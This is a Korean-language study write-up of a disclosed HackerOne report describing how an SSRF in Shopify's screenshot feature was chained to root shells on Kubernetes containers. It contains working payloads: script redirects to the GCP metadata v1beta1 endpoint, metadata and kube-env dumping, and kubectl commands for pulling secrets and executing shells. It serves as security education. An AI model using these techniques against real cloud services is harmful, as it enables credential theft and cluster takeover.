본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.
분석 레포트
https://hackerone.com/reports/341876
Overview
Shopify 인프라는 인프라의 하위 집합으로 분리되어 있다. @0xacb는 Shopify Exchange의 스크린샷 기능에서 서버 측 요청 위조 버그를 악용하여 특정 하위 집합의 모든 컨테이너에 대한 루트 액세스 권한을 얻을 수 있다고 보고했다. 보고를 받은 후 한 시간 이내에 취약한 서비스를 비활성화하고 모든 하위 집합의 애플리케이션을 감사하고 모든 인프라에서 문제를 해결하기 시작했다. 취약한 하위 집합에는 Shopify 코어가 포함되지 않았다.
모든 서비스를 감사한 후 메타데이터 은폐 프록시를 배포하여 메타데이터 정보에 대한 액세스를 비활성화하여 버그를 수정했다. 또한 모든 인프라 하위 집합에서 내부 IP에 대한 액세스를 비활성화했다. 이 하위 집합의 일부 애플리케이션이 일부 Shopify 코어 데이터 및 시스템에 액세스 할 수 있으므로 25,000달러를 Shopify 코어 RCE로 지급했다.
Steps to Reproduce ( Exploit Chain - 모든 shopify 인스턴스에서 ROOT 액세스 권한을 얻는 방법 )
### 1. Access Google Cloud Metadata ###
1. 스토어 생성 ( partners.shopify.com )
2. password.liquid 템플릿을 편집하고, 다음 콘텐츠를 추가한다.
<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
// iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header.
</script>
3. http://exchange.shopify.com/create-a-listing 으로 이동하여, Exchange 앱을 설치한다.
4. 목록 생성 페이지에 스토어 스크린 샷이 나타날 때까지 기다린다.
5. PNG를 다운로드하고, 이미지 편집 소프트웨어를 사용하여 열거나, JPEG로 변환한다. ( Chrome에서는 검은색 PNG가 표시됨 )
Google Cloud 인스턴스에서 SSRF를 탐색하려면 특별한 헤더가 필요하다. 하지만 설명서를 읽다가 이를 '우회'하는 아주 쉬운 방법을 발견했다. /v1beta1 엔드포인트는 여전히 사용할 수 있으며, 메타데이터 설정이 필요하지 않다: Google 헤더가 필요하지 않고 여전히 동일한 토큰을 반환한다.
더 많은 데이터를 유출하려고 시도했지만 웹 스크린샷 소프트웨어가 application/text 응답에 대한 이미지를 생성하지 않았다. 하지만 alt=json 매개변수를 추가하면 application/json 응답을 강제 생성할 수 있다는 사실을 발견했다. 불완전한 SSH 공개 키 목록(이메일 주소 포함), 프로젝트 이름, 인스턴스 이름 등 더 많은 데이터를 유출하는 데 성공했다
<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";
</script>
유출된 토큰을 사용하여 SSH 키를 추가할 수 있는가? NO!
curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}'
{
"error": {
"errors": [
{
"domain": "global",
"reason": "forbidden",
"message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'"
},
{
"domain": "global",
"reason": "forbidden",
"message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'"
}
],
"code": 403,
"message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'"
}
}
이 토큰의 범위를 확인했는데, Compute Engine API에 대한 읽기/쓰기 액세스 권한이 없다
curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ABCDEFG..."
{
"issued_to": "███████",
"audience": "███",
"scope": "https://www.googleapis.com/auth/cloud-platform",
"expires_in": 1307,
"access_type": "offline"
}
### 2. Dumping kube-env ###
새 스토어를 생성하고, 이 인스턴스에서 속성을 재귀적으로 가져왔다.
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json
//매개변수 recursive=true는 모든 하위 속성을 검색하도록 지정
결과: 메타데이터 숨김이 활성화되어 있지 않으므로 kube-env 속성을 사용할 수 있다.
이미지가 잘려 있으므로, 나머지 Kubelet 인증서와 Kubelet 개인 키를 보기 위해, 아래 요청을 새로 보냈다.
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
client.pem
-----BEGIN RSA PRIVATE KEY-----
█████████
██████
████████
████
████
█████████
-----END RSA PRIVATE KEY-----
ca.crt, clinet.crt 등 추출..
### 3. Using Kubelet to execute arbitrary commands ###
- 모든 pods를 나열할 수 있다.
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces
NAMESPACE NAME READY STATUS RESTARTS AGE
████████ ██████████ 1/1
- 새로운 pods도 생성할 수 있다.
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml
pod "shell-demo" created
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo
pod "shell-demo" deleted
실행 중인 pods를 삭제하려고, 시도하지 않았기 때문에 xx사용자로 삭제할 수 있는지 확실하지 않다.
그러나 이 새 pods나 다른 pods에서 명령을 실행할 수는 없다.
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash
Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███"
get secrets 명령은 작동하지 않지만, 주어진 pods를 설명하고, 그 이름을 사용하여, 비밀을 얻는 것은 가능하다. 이것이 네임스페이스 xxx에서, 000 인스턴스를 사용여, kubernetes.io 서비스 어카운트 토큰을 유출한 방법이다.
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████
Name: ████████
Namespace: ██████
Node: ██████████
Start Time: Fri, 23 Mar 2018 13:53:13 +0000
Labels: █████
████
█████
Annotations: <none>
Status: Running
IP: █████████
Controlled By: █████
Containers:
default-http-backend:
Container ID: docker://███
Image: ██████
Image ID: docker-pullable://█████
Port: ████/TCP
Host Port: 0/TCP
State: Running
Started: Sun, 22 Apr 2018 03:23:09 +0000
Last State: Terminated
Reason: Error
Exit Code: 2
Started: Fri, 20 Apr 2018 23:39:21 +0000
Finished: Sun, 22 Apr 2018 03:23:07 +0000
Ready: True
Restart Count: 180
Limits:
cpu: 10m
memory: 20Mi
Requests:
cpu: 10m
memory: 20Mi
Liveness: http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3
Environment: <none>
Mounts:
██████
Conditions:
Type Status
Initialized True
Ready True
PodScheduled True
Volumes:
██████████:
Type: Secret (a volume populated by a Secret)
SecretName: ███████
Optional: false
QoS Class: Guaranteed
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute for 300s
node.kubernetes.io/unreachable:NoExecute for 300s
Events: <none>
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml
apiVersion: v1
data:
ca.crt: ██████████
namespace: ████
token: ██████████==
kind: Secret
metadata:
annotations:
kubernetes.io/service-account.name: default
kubernetes.io/service-account.uid: ████
creationTimestamp: 2017-01-23T16:08:19Z
name:█████
namespace: ██████████
resourceVersion: "115481155"
selfLink: /api/v1/namespaces/████████/secrets/████
uid: █████████
type: kubernetes.io/service-account-token
마지막으로 이 토큰을 사용하여 모든 컨테이너에서 셸을 가져올 수 있었다.
$ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash
Defaulting container name to web.
Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.
███████:/# id
uid=0(root) gid=0(root) groups=0(root)
█████:/# ls
app boot dev exec key lib64 mnt proc run srv start tmp var
bin build etc home lib media opt root sbin ssl sys usr
███████:/# exit
Impact
네트워크 액세스 제어를 우회하여 내부 서비스에 도달할 수 있는가?
예
어떤 내부 서비스에 액세스 할 수 있는지?
Google 클라우드 메타데이터
보안 영향
RCE
참고
- https://leehosu.github.io/kubelet
- https://kubernetes.io/ko/docs/tasks/configmap-secret/managing-secret-using-kubectl/
- https://cloud.google.com/kubernetes-engine/docs/deprecations/apis-1-25?hl=ko